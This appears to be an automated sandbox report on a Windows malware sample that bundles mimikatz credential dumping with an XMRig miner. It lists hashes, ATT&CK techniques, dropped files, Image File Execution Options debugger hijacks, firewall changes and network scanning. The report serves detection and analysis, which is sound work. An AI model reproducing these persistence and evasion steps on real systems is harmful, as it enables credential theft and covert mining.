mimikatz | e5f51aecbb91cb76e9bef0a1507c6fc393e81593041065c58d18b8dfae3f8cf1

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
26-08-2024 02:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe
Size

8.6MB
MD5

c72ab6108acecd3fcbfec21e5a1a9d45
SHA1

3eadcc50612ce099227c6d2e2f8cf231328cdc98
SHA256

e5f51aecbb91cb76e9bef0a1507c6fc393e81593041065c58d18b8dfae3f8cf1
SHA512

d08fe6955f249026187a6818f1cbbe83096a719c0d8a9a7e9497cc21993141da68e4efd9eb450bdc90447af64c46717558543d44dd2a70662ce6099784098883
SSDEEP

98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2716 created 2148	2716	cerjnki.exe	38

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (29264) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/3304-178-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig
behavioral2/memory/3304-182-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig
behavioral2/memory/3304-199-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig
behavioral2/memory/3304-212-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig
behavioral2/memory/3304-225-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig
behavioral2/memory/3304-234-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig
behavioral2/memory/3304-249-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig
behavioral2/memory/3304-250-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig
behavioral2/memory/3304-251-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig
behavioral2/memory/3304-252-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig
behavioral2/memory/3304-255-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig
behavioral2/memory/3304-256-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/4628-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/4628-4-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/files/0x000800000002347b-6.dat	mimikatz
behavioral2/memory/648-8-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/3176-138-0x00007FF67C7B0000-0x00007FF67C89E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	cerjnki.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	cerjnki.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	cerjnki.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	cerjnki.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	cerjnki.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2496	netsh.exe
1916	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
648	cerjnki.exe
2716	cerjnki.exe
1312	wpcap.exe
1028	lmstittgt.exe
3176	vfshost.exe
3488	xohudmc.exe
3836	joxnkm.exe
4496	migibaipq.exe
3304	ittilk.exe
2064	migibaipq.exe
3664	migibaipq.exe
644	migibaipq.exe
3312	migibaipq.exe
1692	migibaipq.exe
4992	migibaipq.exe
4996	migibaipq.exe
4776	migibaipq.exe
760	migibaipq.exe
2412	migibaipq.exe
3180	migibaipq.exe
4680	cerjnki.exe
4528	migibaipq.exe
5100	migibaipq.exe
4992	migibaipq.exe
2536	migibaipq.exe
4020	migibaipq.exe
2292	migibaipq.exe
1560	zljshrqzb.exe
4860	cerjnki.exe

Loads dropped DLL 12 IoCs

pid	Process
1312	wpcap.exe
1312	wpcap.exe
1312	wpcap.exe
1312	wpcap.exe
1312	wpcap.exe
1312	wpcap.exe
1312	wpcap.exe
1312	wpcap.exe
1312	wpcap.exe
1028	lmstittgt.exe
1028	lmstittgt.exe
1028	lmstittgt.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00070000000234c2-134.dat	upx
behavioral2/memory/3176-136-0x00007FF67C7B0000-0x00007FF67C89E000-memory.dmp	upx
behavioral2/memory/3176-138-0x00007FF67C7B0000-0x00007FF67C89E000-memory.dmp	upx
behavioral2/files/0x00070000000234cd-155.dat	upx
behavioral2/memory/4496-156-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/4496-160-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/files/0x00070000000234ca-164.dat	upx
behavioral2/memory/3304-165-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/2064-171-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/3664-175-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/3304-178-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/644-180-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/3304-182-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/3312-185-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/1692-189-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/4992-193-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/4996-197-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/3304-199-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/4776-202-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/760-206-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/2412-210-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/3304-212-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/3180-219-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/4528-223-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/3304-225-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/5100-228-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/4992-231-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/2536-233-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/3304-234-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/4020-236-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/2292-238-0x00007FF7A9240000-0x00007FF7A929B000-memory.dmp	upx
behavioral2/memory/3304-249-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/3304-250-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/3304-251-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/3304-252-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/3304-255-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx
behavioral2/memory/3304-256-0x00007FF73EDE0000-0x00007FF73EF00000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
77	ifconfig.me
78	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	cerjnki.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	cerjnki.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	cerjnki.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	cerjnki.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\joxnkm.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	cerjnki.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	cerjnki.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	cerjnki.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	cerjnki.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDAB91A53CE5876D153BF0B6B3BA7DCE	cerjnki.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDAB91A53CE5876D153BF0B6B3BA7DCE	cerjnki.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\joxnkm.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	cerjnki.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File opened for modification	C:\Windows\iiliuscuk\trrjzeypr\Packet.dll	cerjnki.exe
File created	C:\Windows\bitpvjte\docmicfg.xml	cerjnki.exe
File created	C:\Windows\ime\cerjnki.exe	cerjnki.exe
File created	C:\Windows\iiliuscuk\trrjzeypr\scan.bat	cerjnki.exe
File created	C:\Windows\iiliuscuk\trrjzeypr\Packet.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\tibe-2.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\zlib1.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\spoolsrv.exe	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\svschost.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\schoedcl.xml	cerjnki.exe
File opened for modification	C:\Windows\bitpvjte\docmicfg.xml	cerjnki.exe
File opened for modification	C:\Windows\bitpvjte\cerjnki.exe	2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\libeay32.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\schoedcl.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\svschost.exe	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\vimpcsvc.xml	cerjnki.exe
File created	C:\Windows\bitpvjte\svschost.xml	cerjnki.exe
File created	C:\Windows\bitpvjte\vimpcsvc.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\ucl.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\vimpcsvc.exe	cerjnki.exe
File opened for modification	C:\Windows\bitpvjte\svschost.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\Corporate\mimidrv.sys	cerjnki.exe
File opened for modification	C:\Windows\iiliuscuk\Corporate\log.txt	cmd.exe
File opened for modification	C:\Windows\iiliuscuk\trrjzeypr\Result.txt	zljshrqzb.exe
File created	C:\Windows\bitpvjte\cerjnki.exe	2024-08-26_c72ab6108acecd3fcbfec21e5a1a9d45_hacktools_icedid_mimikatz.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\libxml2.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\svschost.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\Corporate\mimilib.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\ssleay32.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\spoolsrv.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\Shellcode.ini	cerjnki.exe
File created	C:\Windows\iiliuscuk\trrjzeypr\ip.txt	cerjnki.exe
File created	C:\Windows\iiliuscuk\trrjzeypr\wpcap.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\cnli-1.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\trfo-2.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\spoolsrv.xml	cerjnki.exe
File opened for modification	C:\Windows\bitpvjte\vimpcsvc.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\vimpcsvc.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\AppCapture64.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\upbdrjv\swrpwe.exe	cerjnki.exe
File created	C:\Windows\iiliuscuk\trrjzeypr\wpcap.exe	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\tucl-1.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\docmicfg.exe	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\docmicfg.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\posh-0.dll	cerjnki.exe
File created	C:\Windows\bitpvjte\spoolsrv.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\Corporate\vfshost.exe	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\docmicfg.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\crli-0.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\trch-1.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\schoedcl.exe	cerjnki.exe
File created	C:\Windows\bitpvjte\schoedcl.xml	cerjnki.exe
File opened for modification	C:\Windows\bitpvjte\schoedcl.xml	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\AppCapture32.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\trrjzeypr\lmstittgt.exe	cerjnki.exe
File created	C:\Windows\iiliuscuk\trrjzeypr\zljshrqzb.exe	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\coli-0.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\exma-1.dll	cerjnki.exe
File created	C:\Windows\iiliuscuk\UnattendGC\specials\xdvl-0.dll	cerjnki.exe
File opened for modification	C:\Windows\bitpvjte\spoolsrv.xml	cerjnki.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3312	sc.exe
1072	sc.exe
2228	sc.exe
2760	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

